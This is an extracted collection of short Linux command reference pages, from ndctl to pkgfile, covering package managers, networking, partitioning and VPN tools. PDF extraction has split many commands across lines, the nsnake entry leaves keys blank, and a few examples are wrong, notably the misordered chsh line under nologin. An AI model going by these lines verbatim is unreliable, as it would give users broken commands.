ndctl monitor --bus={{ACPI.NFIT}}

• Remove a namespace (when applicable) or reset it to an initial state:

ndctl destroy-namespace --force {{namespaceX.Y}}


needrestart
Check which daemons need to be restarted after library upgrades.

More information: https://github.com/liske/needrestart.

• List outdated processes:

needrestart

• Interactively restart services:

sudo needrestart

• List outdated processes in [v]erbose or [q]uiet mode:

needrestart -{{v|q}}

• Check if the [k]ernel is outdated:

needrestart -k

• Check if the CPU microcode is outdated:

needrestart -w

• List outdated processes in [b]atch mode:

needrestart -b

• List outdated processed using a specific [c]onfiguration file:

needrestart -c {{path/to/config}}

• Display help:

needrestart --help
nemo
File manager and graphical shell for Cinnamon.

More information: https://github.com/linuxmint/nemo.

• Open a new window showing the user's home directory:

nemo

• Open a new window showing the current directory:

nemo .

• Close all open nemo windows:

nemo --quit
nethogs
Monitor bandwidth usage per process.

More information: https://github.com/raboof/nethogs.

• Start nethogs as root (default device is eth0):

sudo nethogs

• Monitor bandwidth on specific device:

sudo nethogs {{device}}

• Monitor bandwidth on multiple devices:

sudo nethogs {{device1}} {{device2}}

• Specify refresh rate:

sudo nethogs -t {{seconds}}


netselect-apt
Create a sources.list file for a Debian mirror with the lowest latency.

More information: https://manpages.debian.org/latest/netselect-apt/netselect-


apt.html.

• Create sources.list using the lowest latency server:

sudo netselect-apt

• Specify Debian branch, stable is used by default:

sudo netselect-apt {{testing}}

• Include non-free section:

sudo netselect-apt --non-free

• Specify a country for the mirror list lookup:

sudo netselect-apt -c {{India}}


netselect
Speed test for choosing a fast network server.

More information: https://github.com/apenwarr/netselect.

• Choose the server with the lowest latency:

sudo netselect {{host_1}} {{host_2}}

• Display nameserver resolution and statistics:

sudo netselect -vv {{host_1}} {{host_2}}

• Define maximum TTL (time to live):

sudo netselect -m {{10}} {{host_1}} {{host_2}}

• Print fastest N servers among the hosts:

sudo netselect -s {{N}} {{host_1}} {{host_2}} {{host_3}}

• List available options:

netselect
newgrp
Switch primary group membership.

• Change user's primary group membership:

newgrp {{group_name}}

• Reset primary group membership to user's default group in /etc/passwd:

newgrp
nft
Allows configuration of tables, chains and rules provided by the Linux kernel firewall.

Nftables replaces iptables.

More information: https://wiki.nftables.org/wiki-nftables/index.php/Main_Page.

• View current configuration:

sudo nft list ruleset

• Add a new table with family "inet" and table "filter":

sudo nft add table {{inet}} {{filter}}

• Add a new chain to accept all inbound traffic:

sudo nft add chain {{inet}} {{filter}} {{input}} \{ type


{{filter}} hook {{input}} priority {{0}} \; policy {{accept}}
\}

• Add a new rule to accept several TCP ports:

sudo nft add rule {{inet}} {{filter}} {{input}} {{tcp}}


{{dport \{ telnet, ssh, http, https \} accept}}

• Add a NAT rule to translate all traffic from the 192.168.0.0/24 subnet to the
host's public IP:

sudo nft add rule {{nat}} {{postrouting}} ip saddr


{{192.168.0.0/24}} {{masquerade}}

• Show rule handles:

sudo nft --handle --numeric list chain {{family}} {{table}}


{{chain}}

• Delete a rule:

sudo nft delete rule {{inet}} {{filter}} {{input}} handle


{{3}}

• Save current configuration:

sudo nft list ruleset > {{/etc/nftables.conf}}


nitrogen
Desktop background browser and setter for X Window.

More information: https://github.com/l3ib/nitrogen.

• View and set the wallpapers from a specific directory:

nitrogen {{path/to/directory}}

• Set the wallpaper with automatic size settings:

nitrogen --set-auto {{path/to/file}}

• Restore the previous wallpaper:

nitrogen --restore
nixos-container
Starts NixOS containers using Linux containers.

More information: https://nixos.org/manual/nixos/stable/#ch-containers.

• List running containers:

sudo nixos-container list

• Create a NixOS container with a specific configuration file:

sudo nixos-container create {{container_name}} --config-file


{{nix_config_file_path}}

• Start, stop, terminate, or destroy a specific container:

sudo nixos-container {{start|stop|terminate|destroy|status}}


{{container_name}}

• Run a command in a running container:

sudo nixos-container run {{container_name}} -- {{command}}


{{command_arguments}}

• Update a container configuration:

sudo $EDITOR /var/lib/container/{{container_name}}/etc/nixos/


configuration.nix && sudo nixos-container update
{{container_name}}

• Enter an interactive shell session on an already-running container:

sudo nixos-container root-login {{container_name}}


nixos-option
Inspect a NixOS configuration.

More information: https://nixos.org/manual/nixos/stable/index.html#sec-modularity.

• List all subkeys of a given option key:

nixos-option {{option_key}}

• List current boot kernel modules:

nixos-option boot.kernelModules

• List authorized keys for a specific user:

nixos-option users.users.{{username}}.openssh.authorizedKeys.
{{keyFiles|keys}}

• List all remote builders:

nixos-option nix.buildMachines

• List all subkeys of a given key on another NixOS configuration:

NIXOS_CONFIG={{path_to_configuration.nix}} nixos-option
{{option_key}}

• Show recursively all values of a user:

nixos-option -r users.users.{{user}}
nixos-rebuild
Reconfigure a NixOS machine.

More information: https://nixos.org/nixos/manual/#sec-changing-config.

• Build and switch to the new configuration, making it the boot default:

sudo nixos-rebuild switch

• Build and switch to the new configuration, making it the boot default and naming
the boot entry:

sudo nixos-rebuild switch -p {{name}}

• Build and switch to the new configuration, making it the boot default and
installing updates:

sudo nixos-rebuild switch --upgrade

• Rollback changes to the configuration, switching to the previous generation:

sudo nixos-rebuild switch --rollback

• Build the new configuration and make it the boot default without switching to it:

sudo nixos-rebuild boot

• Build and activate the new configuration, but don't make a boot entry (for testing
purposes):

sudo nixos-rebuild test

• Build the configuration and open it in a virtual machine:

sudo nixos-rebuild build-vm


nmcli connection
Connection management with NetworkManager.

More information: https://man.archlinux.org/man/nmcli.1.

• List all NetworkManager connections (shows name, UUID, type and device):

nmcli connection

• Activate a connection by specifying a UUID:

nmcli connection up uuid {{uuid}}

• Deactivate a connection:

nmcli connection down uuid {{uuid}}

• Create an auto-configured dual stack connection:

nmcli connection add ifname {{interface_name}} type


{{ethernet}} ipv4.method {{auto}} ipv6.method {{auto}}

• Create a static IPv6-only connection:

nmcli connection add ifname {{interface_name}} type


{{ethernet}} ip6 {{2001:db8::2/64}} gw6 {{2001:db8::1}}
ipv6.dns {{2001:db8::1}} ipv4.method {{ignore}}

• Create a static IPv4-only connection:

nmcli connection add ifname {{interface_name}} type


{{ethernet}} ip4 {{10.0.0.7/8}} gw4 {{10.0.0.1}} ipv4.dns
{{10.0.0.1}} ipv6.method {{ignore}}

• Create a VPN connection using OpenVPN from a OVPN file:

nmcli connection import type {{openvpn}} file {{path/to/


vpn_config.ovpn}}
nmcli device
Hardware device management with NetworkManager.

More information: https://man.archlinux.org/man/nmcli.1.

• Print the statuses of all network interfaces:

nmcli device status

• Print the available Wi-Fi access points:

nmcli device wifi

• Connect to the Wi-Fi network with a specified name and password:

nmcli device wifi connect {{ssid}} password {{password}}

• Print password and QR code for the current Wi-Fi network:

nmcli device wifi show-password


nmcli monitor
Monitor changes to the NetworkManager connection status.

More information: https://developer.gnome.org/NetworkManager/stable/nmcli.html.

• Start monitoring NetworkManager changes:

nmcli monitor
nmcli
A command-line tool for controlling NetworkManager.

Some subcommands such as nmcli monitor have their own usage documentation.

More information: https://manned.org/nmcli.

• Run an nmcli subcommand:

nmcli {{agent|connection|device|general|help|monitor|
networking|radio}} {{command_options}}

• Display the current version of NetworkManager:

nmcli --version

• Display help:

nmcli --help

• Display help for a subcommand:

nmcli {{subcommand}} --help


nmon
A system administrator, tuner, and benchmark tool.

• Start nmon:

nmon

• Save records to file ("-s 300 -c 288" by default):

nmon -f

• Save records to file with a total of 240 measurements, by taking 30 seconds


between each measurement:

nmon -f -s {{30}} -c {{240}}


nmtui
Text user interface for controlling NetworkManager.

Use arrow keys to navigate, enter to select an option.

More information: https://networkmanager.dev/docs/api/latest/nmtui.html.

• Open the user interface:

nmtui

• Show a list of available connections, with the option to activate or deactivate


them:

nmtui connect

• Connect to a given network:

nmtui connect {{name|uuid|device|SSID}}

• Edit/Add/Delete a given network:

nmtui edit {{name|id}}

• Set the system hostname:

nmtui hostname
nologin
Alternative shell that prevents a user from logging in.

• Set a user's login shell to nologin to prevent the user from logging in:

chsh -s {{user}} nologin

• Customize message for users with the login shell of nologin:

echo "{{declined_login_message}}" > /etc/nologin.txt


nordvpn
Command-line interface for NordVPN.

More information: https://nordvpn.com/download/linux/.

• Interactively log into a NordVPN account:

nordvpn login

• Display the connection status:

nordvpn status

• Connect to the nearest NordVPN server:

nordvpn connect

• List all available countries:

nordvpn countries

• Connect to a NordVPN server in a specific country:

nordvpn connect {{Germany}}


notify-send
Uses the current desktop environment's notification system to create a notification.

• Show a notification with the title "Test" and the content "This is a test":

notify-send "{{Test}}" "{{This is a test}}"

• Show a notification with a custom icon:

notify-send -i {{icon.png}} "{{Test}}" "{{This is a test}}"

• Show a notification for 5 seconds:

notify-send -t 5000 "{{Test}}" "{{This is a test}}"

• Show a notification with an app's icon and name:

notify-send "{{Test}}" --icon={{google-chrome}} --app-


name="{{Google Chrome}}"
nsenter
Run a new command in a running process' namespace.

Particularly useful for docker images or chroot jails.

More information: https://github.com/jpetazzo/nsenter/.

• Run command in existing processes network namespace:

nsenter -t {{pid}} -n {{command}} {{command_arguments}}

• Run a new command in an existing processes ps-table namespace:

nsenter -t {{pid}} -p {{command}} {{command_arguments}}

• Run command in existing processes IPC namespace:

nsenter -t {{pid}} -i {{command}} {{command_arguments}}


nsnake
Snake game in the terminal.

More information: https://github.com/alexdantas/nsnake/.

• Start a snake game:

nsnake

• Navigate the snake:

{{Up|Down|Left|Right}} arrow key

• Pause/unpause the game:

• Quit the game:

• Show help during the game:

h
ntfsfix
Fix common problems on an NTFS partition.

• Fix a given NTFS partition:

sudo ntfsfix {{/dev/sdXN}}


ntpdate
Synchronize and set the date and time via NTP.

More information: http://support.ntp.org/documentation.

• Synchronize and set date and time:

sudo ntpdate {{host}}

• Query the host without setting the time:

ntpdate -q {{host}}

• Use an unprivileged port in case a firewall is blocking privileged ports:

sudo ntpdate -u {{host}}

• Force time to be stepped using settimeofday instead of slewed:

sudo ntpdate -b {{host}}


ntpq
Query the Network Time Protocol (NTP) daemon.

More information: https://www.eecis.udel.edu/~mills/ntp/html/ntpq.html.

• Start ntpq in interactive mode:

ntpq --interactive

• Print a list of NTP peers:

ntpq --peers

• Print a list of NTP peers without resolving hostnames from IP addresses:

ntpq --numeric --peers

• Use ntpq in debugging mode:

ntpq --debug-level

• Print NTP system variables values:

ntpq --command={{rv}}
numactl
Control NUMA policy for processes or shared memory.

More information: https://man7.org/linux/man-pages/man8/numactl.8.html.

• Run a command on node 0 with memory allocated on node 0 and 1:

numactl --cpunodebind={{0}} --membind={{0,1}} -- {{command}}


{{command_arguments}}

• Run a command on CPUs (cores) 0-4 and 8-12 of the current cpuset:

numactl --physcpubind={{+0-4,8-12}} -- {{command}}


{{command_arguments}}

• Run a command with its memory interleaved on all CPUs:

numactl --interleave={{all}} -- {{command}}


{{command_arguments}}
numlockx
Control the number lock key status in X11 sessions.

More information: http://www.mike-devlin.com/linux/README-numlockx.htm.

• Show the current number lock status:

numlockx status

• Turn the number lock on:

numlockx on

• Turn the number lock off:

numlockx off

• Toggle the current state:

numlockx toggle
openfortivpn
A VPN client, for Fortinet's proprietary PPP+SSL VPN solution.

More information: https://github.com/adrienverge/openfortivpn.

• Connect to a VPN with a username and password:

openfortivpn --username={{username}} --password={{password}}

• Connect to a VPN using a specific configuration file (defaults to /etc/


openfortivpn/config):

sudo openfortivpn --config={{path/to/config}}

• Connect to a VPN by specifying the host and port:

openfortivpn {{host}}:{{port}}

• Trust a given gateway by passing in its certificate's sha256 sum:

openfortivpn --trusted-cert={{sha256_sum}}
openrc
The OpenRC service manager.

See also rc-status, rc-update, and rc-service.

More information: https://wiki.gentoo.org/wiki/OpenRC.

• Change to a specific runlevel:

sudo openrc {{runlevel_name}}

• Change to a specific runlevel, but don't stop any existing services:

sudo openrc --no-stop {{runlevel_name}}


openvpn3
OpenVPN 3 Linux client.

More information: https://community.openvpn.net/openvpn/wiki/OpenVPN3Linux.

• Start a new VPN session:

openvpn3 session-start --config {{path/to/config.conf}}

• List established sessions:

openvpn3 sessions-list

• Disconnect the currently established session started with given configuration:

openvpn3 session-manage --config {{path/to/config.conf}} --


disconnect

• Import VPN configuration:

openvpn3 config-import --config {{path/to/config.conf}}

• List imported configurations:

openvpn3 configs-list
opkg
A lightweight package manager used to install OpenWrt packages.

• Install a package:

opkg install {{package}}

• Remove a package:

opkg remove {{package}}

• Update the list of available packages:

opkg update

• Upgrade all the installed packages:

opkg upgrade

• Upgrade one or more specific package(s):

opkg upgrade {{package(s)}}

• Display information for a specific package:

opkg info {{package}}

• List all the available packages:

opkg list
pacaur
A utility for Arch Linux to build and install packages from the Arch User Repository.

• Synchronize and update all packages (includes AUR):

pacaur -Syu

• Synchronize and update only AUR packages:

pacaur -Syua

• Install a new package (includes AUR):

pacaur -S {{package_name}}

• Remove a package and its dependencies (includes AUR packages):

pacaur -Rs {{package_name}}

• Search the package database for a keyword (includes AUR):

pacaur -Ss {{keyword}}

• List all currently installed packages (includes AUR packages):

pacaur -Qs
paccache
A pacman cache cleaning utility.

• Remove all but the 3 most recent package versions from the pacman cache:

paccache -r

• Set the number of package versions to keep:

paccache -rk {{num_versions}}

• Perform a dry-run and show the number of candidate packages for deletion:

paccache -d

• Move candidate packages to a directory instead of deleting them:

paccache -m {{path/to/directory}}
pacman --database
Operate on the Arch Linux package database.

Modify certain attributes of the installed packages.

More information: https://man.archlinux.org/man/pacman.8.

• Display help:

pacman --database --help

• Mark a package as implicitly installed:

sudo pacman --database --asdeps {{package_name}}

• Mark a package as explicitly installed:

sudo pacman --database --asexplicit {{package_name}}

• Check that all the package dependencies are installed:

pacman --database --check

• Check the repositories to ensure all specified dependencies are available:

pacman --database --check --check

• Display only error messages:

pacman --database --check --quiet


pacman --deptest
Check each dependency specified and return a list of dependencies that are not
currently satisfied on the system.

More information: https://man.archlinux.org/man/pacman.8.

• Print the package names of the dependencies that aren't installed:

pacman --deptest {{package_name1}} {{package_name2}}

• Check if the installed package satisfies the given minimum version:

pacman --deptest "{{bash>=5}}"

• Check if a later version of a package is installed:

pacman --deptest "{{bash>5}}"

• Display help:

pacman --deptest --help


pacman --files
Arch Linux package manager utility.

See also pkgfile.

More information: https://man.archlinux.org/man/pacman.8.

• Display help:

pacman --files --help

• Update the package database:

sudo pacman --files --refresh

• Find the package that owns a specific file:

pacman --files {{filename}}

• Find the package that owns a specific file, using a regular expression:

pacman --files --regex '{{regular_expression}}'

• List only the package names:

pacman --files --quiet {{filename}}

• List the files owned by a specific package:

pacman --files --list {{package_name}}

• List only the absolute path to the files:

pacman --query --list --quiet {{package_name}}


pacman-key
Wrapper script for GnuPG used to manage pacman's keyring.

More information: https://man.archlinux.org/man/pacman-key.

• Initialize the pacman keyring:

sudo pacman-key --init

• Add the default ArchLinux keys:

sudo pacman-key --populate {{archlinux}}

• List keys from the public keyring:

pacman-key --list-keys

• Add the specified keys:

sudo pacman-key --add {{path/to/keyfile.gpg}}

• Receive a key from a key server:

sudo pacman-key --recv-keys "{{uid|name|email}}"

• Print the fingerprint of a specific key:

pacman-key --finger "{{uid|name|email}}"

• Sign an imported key locally:

sudo pacman-key --lsign-key "{{uid|name|email}}"

• Remove a specific key:

sudo pacman-key --delete "{{uid|name|email}}"


pacman-mirrors
Generate a pacman mirrorlist for Manjaro Linux.

Every run of pacman-mirrors requires you to synchronize your database and update
your system using sudo pacman -Syyu.

More information: https://wiki.manjaro.org/index.php?title=Pacman-mirrors.

• Generate a mirrorlist using the default settings:

sudo pacman-mirrors --fasttrack

• Get the status of the current mirrors:

pacman-mirrors --status

• Display the current branch:

pacman-mirrors --get-branch

• Switch to a different branch:

sudo pacman-mirrors --api --set-branch {{stable|unstable|


testing}}

• Generate a mirrorlist, only using mirrors in your country:

sudo pacman-mirrors --geoip


pacman --query
Arch Linux package manager utility.

More information: https://man.archlinux.org/man/pacman.8.

• List installed packages and versions:

pacman --query

• List only packages and versions that were explicitly installed:

pacman --query --explicit

• Find which package owns a file:

pacman --query --owns {{filename}}

• Display information about an installed package:

pacman --query --info {{package_name}}

• List files owned by a package:

pacman --query --list {{package_name}}

• List orphan packages (installed as dependencies but not required by any package):

pacman --query --unrequired --deps --quiet

• List installed packages not found in the repositories:

pacman --query --foreign

• List outdated packages:

pacman --query --upgrades


pacman --remove
Arch Linux package manager utility.

More information: https://man.archlinux.org/man/pacman.8.

• Display help for this subcommand:

pacman --remove --help

• Remove a package and its dependencies:

sudo pacman --remove --recursive {{package_name}}

• Remove a package and both its dependencies and configuration files:

sudo pacman --remove --recursive --nosave {{package_name}}

• Remove a package without prompting:

sudo pacman --remove --noconfirm {{package_name}}

• Remove orphan packages (installed as dependencies but not required by any


package):

sudo pacman --remove --recursive --nosave $(pacman --query --


unrequired --deps --quiet)

• Remove a package and all packages that depend on it:

sudo pacman --remove --cascade {{package_name}}

• List packages that would be affected (does not remove any packages):

pacman --remove --print {{package_name}}


pacman --sync
Arch Linux package manager utility.

More information: https://man.archlinux.org/man/pacman.8.

• Install a new package:

sudo pacman --sync {{package_name}}

• Synchronize and update all packages (add --downloadonly to download the


packages and not update them):

sudo pacman --sync --refresh --sysupgrade

• Update all packages and install a new one without prompting:

sudo pacman --sync --refresh --sysupgrade --noconfirm


{{package_name}}

• Search the package database for a regular expression or keyword:

pacman --sync --search "{{search_pattern}}"

• Display information about a package:

pacman --sync --info {{package_name}}

• Overwrite conflicting files during a package update:

sudo pacman --sync --refresh --sysupgrade --overwrite {{path/


to/file}}

• Synchronize and update all packages, but ignore a specific package (can be used
more than once):

sudo pacman --sync --refresh --sysupgrade --ignore


{{package_name}}

• Remove not installed packages and unused repositories from the cache (use two
--clean flags to clean all packages):

sudo pacman --sync --clean


pacman --upgrade
Arch Linux package manager utility.

More information: https://man.archlinux.org/man/pacman.8.

• Display help:

pacman --upgrade --help

• Install one or more packages from files:

sudo pacman --upgrade {{path/to/package1.pkg.tar.zst}}


{{path/to/package2.pkg.tar.zst}}

• Install a package without prompting:

sudo pacman --upgrade --noconfirm {{path/to/


package.pkg.tar.zst}}

• Overwrite conflicting files during a package installation:

sudo pacman --upgrade --overwrite {{path/to/file}} {{path/to/


package.pkg.tar.zst}}

• Install a package, skipping the dependency version checks:

sudo pacman --upgrade --nodeps {{path/to/


package.pkg.tar.zst}}

• List packages that would be affected (does not install any packages):

pacman --query --print {{path/to/package.pkg.tar.zst}}


pacman
Arch Linux package manager utility.

Some subcommands such as pacman sync have their own usage documentation.

More information: https://man.archlinux.org/man/pacman.8.

• Synchronize and update all packages:

sudo pacman --sync --refresh --sysupgrade

• Install a new package:

sudo pacman --sync {{package_name}}

• Remove a package and its dependencies:

sudo pacman --remove --recursive {{package_name}}

• Search the package database for a regular expression or keyword:

pacman --sync --search "{{search_pattern}}"

• List installed packages and versions:

pacman --query

• List only the explicitly installed packages and versions:

pacman --query --explicit

• List orphan packages (installed as dependencies but not actually required by any
package):

pacman --query --unrequired --deps --quiet

• Empty the entire pacman cache:

sudo pacman --sync --clean --clean


pacman4console
A text-based console game inspired by the original Pacman.

More information: https://github.com/YoctoForBeaglebone/pacman4console.

• Start a game at Level 1:

pacman4console

• Start a game on a certain level (there are nine official levels):

pacman4console --level={{level_number}}

• Start the pacman4console level editor, saving to a specified text file:

pacman4consoleedit {{path/to/level_file}}

• Play a custom level:

pacman4console --level={{path/to/level_file}}
pacstall
An AUR package manager for Ubuntu.

More information: https://github.com/pacstall/pacstall.

• Search the package database for a package name:

pacstall --search {{package_name}}

• Install a package:

pacstall --install {{package_name}}

• Remove a package:

pacstall --remove {{package_name}}

• Add a repository to the database (only GitHub and GitLab are supported):

pacstall --add-repo {{remote_repository_location}}

• Update pacstall's scripts:

pacstall --update

• Update all packages:

pacstall --upgrade

• Display information about a package:

pacstall --query-info {{package_name}}

• List all installed packages:

pacstall --list
pacstrap
Arch Linux install script to install packages to the specified new root directory.

More information: https://man.archlinux.org/man/pacstrap.8.

• Install the base package, Linux kernel and firmware for common hardware:

pacstrap {{path/to/new/root}} {{base}} {{linux}} {{linux-


firmware}}

• Install the base package, Linux LTS kernel and base-devel build tools:

pacstrap {{path/to/new/root}} {{base}} {{base-devel}}


{{linux-lts}}

• Install packages without copy the host's mirrorlist to the target:

pacstrap -M {{path/to/new/root}} {{packages}}

• Use an alternate configuration file for Pacman:

pacstrap -C {{path/to/pacman.conf}} {{path/to/new/root}}


{{packages}}

• Install packages using the package cache on the host instead of on the target:

pacstrap -c {{path/to/new/root}} {{packages}}

• Install packages without copy the host's pacman keyring to the target:

pacstrap -G {{path/to/new/root}} {{packages}}

• Install packages in interactive mode (prompts for confirmation):

pacstrap -i {{path/to/new/root}} {{packages}}

• Install packages using package files:

pacstrap -U {{path/to/new/root}} {{path/to/package1}} {{path/


to/package2}}
pactree
Package dependency tree viewer for pacman.

More information: https://man.archlinux.org/man/pactree.8.

• Print the dependency tree of a specific package:

pactree {{package}}

• Print what packages depend on a specific package:

pactree --reverse {{package}}

• Dump dependencies one per line, skipping duplicates:

pactree --unique {{package}}

• Include optional dependencies of a specific package and colorize the output:

pactree --optional --color {{package}}

• Display help:

pactree
pamac
A command-line utility for the GUI package manager pamac.

If you can't see the AUR packages, enable it in /etc/pamac.conf or in the GUI.

More information: https://wiki.manjaro.org/index.php/Pamac.

• Install a new package:

pamac install {{package_name}}

• Remove a package and its no longer required dependencies (orphans):

pamac remove --orphans {{package_name}}

• Search the package database for a package:

pamac search {{package_name}}

• List installed packages:

pamac list --installed

• Check for package updates:

pamac checkupdates

• Upgrade all packages:

pamac upgrade
parted
A partition manipulation program.

See also: partprobe.

More information: https://www.gnu.org/software/parted/parted.html.

• List partitions on all block devices:

sudo parted --list

• Start interactive mode with the specified disk selected:

sudo parted {{/dev/sdX}}

• Create a new partition table of the specified label-type:

sudo parted --script {{/dev/sdX}} mklabel {{aix|amiga|bsd|


dvh|gpt|loop|mac|msdos|pc98|sun}}

• Show partition information in interactive mode:

print

• Select a disk in interactive mode:

select {{/dev/sdX}}

• Create a 16 GB partition with the specified filesystem in interactive mode:

mkpart {{primary|logical|extended}} {{btrfs|ext2|ext3|ext4|


fat16|fat32|hfs|hfs+|linux-swap|ntfs|reiserfs|udf|xfs}}
{{0%}} {{16G}}

• Resize a partition in interactive mode:

resizepart {{/dev/sdXN}} {{end_position_of_partition}}

• Remove a partition in interactive mode:

rm {{/dev/sdXN}}
partprobe
Notify the operating system kernel of partition table changes.

More information: https://manned.org/partprobe.

• Notify the operating system kernel of partition table changes:

sudo partprobe

• Notify the kernel of partition table changes and show a summary of devices and
their partitions:

sudo partprobe --summary

• Show a summary of devices and their partitions but don't notify the kernel:

sudo partprobe --summary --dry-run


partx
Parse a partition table and tell the kernel about it.

More information: https://man7.org/linux/man-pages/man8/partx.8.html.

• List the partitions on a block device or disk image:

sudo partx --list {{path/to/device_or_disk_image}}

• Add all the partitions found in a given block device to the kernel:

sudo partx --add --verbose {{path/to/device_or_disk_image}}

• Delete all the partitions found from the kernel (does not alter partitions on disk):

sudo partx --delete {{path/to/device_or_disk_image}}


paru
An AUR helper and pacman wrapper.

More information: https://github.com/Morganamilo/paru.

• Interactively search for and install a package:

paru {{package_name_or_seach_term}}

• Synchronize and update all packages:

paru

• Upgrade AUR packages:

paru -Sua

• Get information about a package:

paru -Si {{package_name}}

• Download PKGBUILD and other package source files from the AUR or ABS:

paru --getpkgbuild {{package_name}}

• Display the PKGBUILD file of a package:

paru --getpkgbuild --print {{package_name}}


pasuspender
Temporarily suspends pulseaudio while another command is running to allow access
to alsa.

• Suspend PulseAudio while running jackd:

pasuspender -- {{jackd -d alsa --device hw:0}}


pdbedit
Edit the Samba user database.

For simple user add/remove/password, you can also use smbpasswd.

More information: https://manned.org/pdbedit.

• List all Samba users (use verbose flag to show their settings):

sudo pdbedit --list --verbose

• Add an existing Unix user to Samba (will prompt for password):

sudo pdbedit --user {{username}} --create

• Remove a Samba user:

sudo pdbedit --user {{username}} --delete

• Reset a Samba user's failed password counter:

sudo pdbedit --user {{username}} --bad-password-count-reset


perf
Framework for Linux performance counter measurements.

More information: https://perf.wiki.kernel.org.

• Display basic performance counter stats for a command:

perf stat {{gcc hello.c}}

• Display system-wide real-time performance counter profile:

sudo perf top

• Run a command and record its profile into perf.data:

sudo perf record {{command}}

• Record the profile of an existing process into perf.data:

sudo perf record -p {{pid}}

• Read perf.data (created by perf record) and display the profile:

sudo perf report


rename
Rename multiple files.

NOTE: this page refers to the command from the perl-rename Arch Linux package.

• Rename files using a Perl Common Regular Expression (substitute 'foo' with 'bar'
wherever found):

rename {{'s/foo/bar/'}} {{*}}

• Dry-run - display which renames would occur without performing them:

rename -n {{'s/foo/bar/'}} {{*}}

• Force renaming even if the operation would remove existing destination files:

rename -f {{'s/foo/bar/'}} {{*}}

• Convert filenames to lower case (use -f in case-insensitive filesystems to prevent


"already exists" errors):

rename 'y/A-Z/a-z/' {{*}}

• Replace whitespace with underscores:

rename 's/\s+/_/g' {{*}}


phar
Create, update or extract PHP archives (PHAR).

More information: https://manned.org/phar.

• Add space-separated files or directories to a Phar file:

phar add -f {{path/to/phar_file}} {{files_or_directories}}

• Display the contents of a Phar file:

phar list -f {{path/to/phar_file}}

• Delete the specified file or directory from a Phar file:

phar delete -f {{path/to/phar_file}} -e {{file_or_directory}}

• Display full usage information and available hashing/compression algorithms:

phar help

• Compress or uncompress files and directories in a Phar file:

phar compress -f {{path/to/phar_file}} -c {{algorithm}}

• Get information about a Phar file:

phar info -f {{path/to/phar_file}}

• Sign a Phar file with a specific hash algorithm:

phar sign -f {{path/to/phar_file}} -h {{algorithm}}

• Sign a Phar file with an OpenSSL private key:

phar sign -f {{path/to/phar_file}} -h openssl -y {{path/to/


private_key}}
photorec
Deleted file recovery tool.

It is recommended to write recovered files to a disk separate to the one being recovered
from.

More information: https://www.cgsecurity.org/wiki/PhotoRec.

• Run PhotoRec on a specific device:

sudo photorec {{/dev/sdb}}

• Run PhotoRec on a disk image (image.dd):

sudo photorec {{path/to/image.dd}}


phpdismod
Disable PHP extensions on Debian-based OSes.

More information: https://salsa.debian.org/php-team/php-defaults.

• Disable the JSON extension for every SAPI of every PHP version:

sudo phpdismod {{json}}

• Disable the JSON extension for PHP 7.3 with the cli SAPI:

sudo phpdismod -v {{7.3}} -s {{cli}} {{json}}


phpenmod
Enable PHP extensions on Debian-based OSes.

More information: https://salsa.debian.org/php-team/php-defaults.

• Enable the JSON extension for every SAPI of every PHP version:

sudo phpenmod {{json}}

• Enable the JSON extension for PHP 7.3 with the cli SAPI:

sudo phpenmod -v {{7.3}} -s {{cli}} {{json}}


phpquery
PHP extension manager for Debian-based OSes.

• List available PHP versions:

sudo phpquery -V

• List available SAPIs for PHP 7.3:

sudo phpquery -v {{7.3}} -S

• List enabled extensions for PHP 7.3 with the cli SAPI:

sudo phpquery -v {{7.3}} -s {{cli}} -M

• Check if the JSON extension is enabled for PHP 7.3 with the apache2 SAPI:

sudo phpquery -v {{7.3}} -s {{apache2}} -m {{json}}


physlock
Lock all consoles and virtual terminals.

More information: http://github.com/muennich/physlock.

• Lock every console (require current user or root to unlock):

physlock

• Mute kernel messages on console while locked:

physlock -m

• Disable SysRq mechanism while locked:

physlock -s

• Display a message before the password prompt:

physlock -p "{{Locked!}}"

• Fork and detach physlock (useful for suspend or hibernate scripts):

physlock -d
pi
Compute decimal Archimedes' constant Pi on the command-line.

More information: https://manned.org/pi.

• Display 100 decimal digits of Archimedes' constant Pi:

pi

• Display a specified number of decimal digits of Archimedes' constant Pi:

pi {{number}}

• Display help:

pi --help

• Display version:

pi --version

• Display recommended readings:

pi --bibliography
pidof
Gets the ID of a process using its name.

• List all process IDs with given name:

pidof {{bash}}

• List a single process ID with given name:

pidof -s {{bash}}

• List process IDs including scripts with given name:

pidof -x {{script.py}}

• Kill all processes with given name:

kill $(pidof {{name}})


pidstat
Show system resource usage, including CPU, memory, IO etc.

• Show CPU statistics at a 2 second interval for 10 times:

pidstat {{2}} {{10}}

• Show page faults and memory utilization:

pidstat -r

• Show input/output usage per process id:

pidstat -d

• Show information on a specific PID:

pidstat -p {{PID}}

• Show memory statistics for all processes whose command name include "fox" or
"bird":

pidstat -C "{{fox|bird}}" -r -p ALL


pihole
Terminal interface for the Pi-hole ad-blocking DNS server.

More information: https://pi-hole.net.

• Check the Pi-hole daemon's status:

pihole status

• Update Pi-hole:

pihole updatePihole

• Monitor detailed system status:

pihole chronometer

• Start or stop the daemon:

pihole {{enable|disable}}

• Restart the daemon (not the server itself):

pihole restartdns

• Whitelist or blacklist a domain:

pihole {{whitelist|blacklist}} {{example.com}}

• Search the lists for a domain:

pihole query {{example.com}}

• Open a real-time log of connections:

pihole tail
pinout
View the current Raspberry Pi's GPIO pin-out information on the terminal with an
ASCII diagram.

More information: https://www.raspberrypi.org/documentation/computers/


os.html#gpio-pinout.

• View the pinout information and GPIO header diagram for the current Raspberry
Pi:

pinout

• Open https://pinout.xyz/ in the default broswer:

pinout -x
pivpn
Easy security-hardened OpenVPN setup and manager.

Originally designed for the Raspberry Pi, but works on other Linux devices too.

More information: http://www.pivpn.io/.

• Add a new client device:

sudo pivpn add

• List all client devices:

sudo pivpn list

• List currently connected devices and their statistics:

sudo pivpn clients

• Revoke a previously authenticated device:

sudo pivpn revoke

• Uninstall PiVPN:

sudo pivpn uninstall


pkg-config
Provide the details of installed libraries for compiling applications.

More information: https://www.freedesktop.org/wiki/Software/pkg-config/.

• Get the list of libraries and their dependencies:

pkg-config --libs {{library1 library2 ...}}

• Get the list of libraries, their dependencies, and proper cflags for gcc:

pkg-config --cflags --libs {{library1 library2 ...}}

• Compile your code with libgtk-3, libwebkit2gtk-4.0 and all their dependencies:

c++ example.cpp $(pkg-config --cflags --libs gtk+-3.0


webkit2gtk-4.0) -o example
pkgadd
Add a package to a CRUX system.

• Install a local software package:

pkgadd {{package_name}}

• Update an already installed package from a local package:

pkgadd -u {{package_name}}
pkgfile
Tool for searching files from packages in the official repositories on arch-based systems.

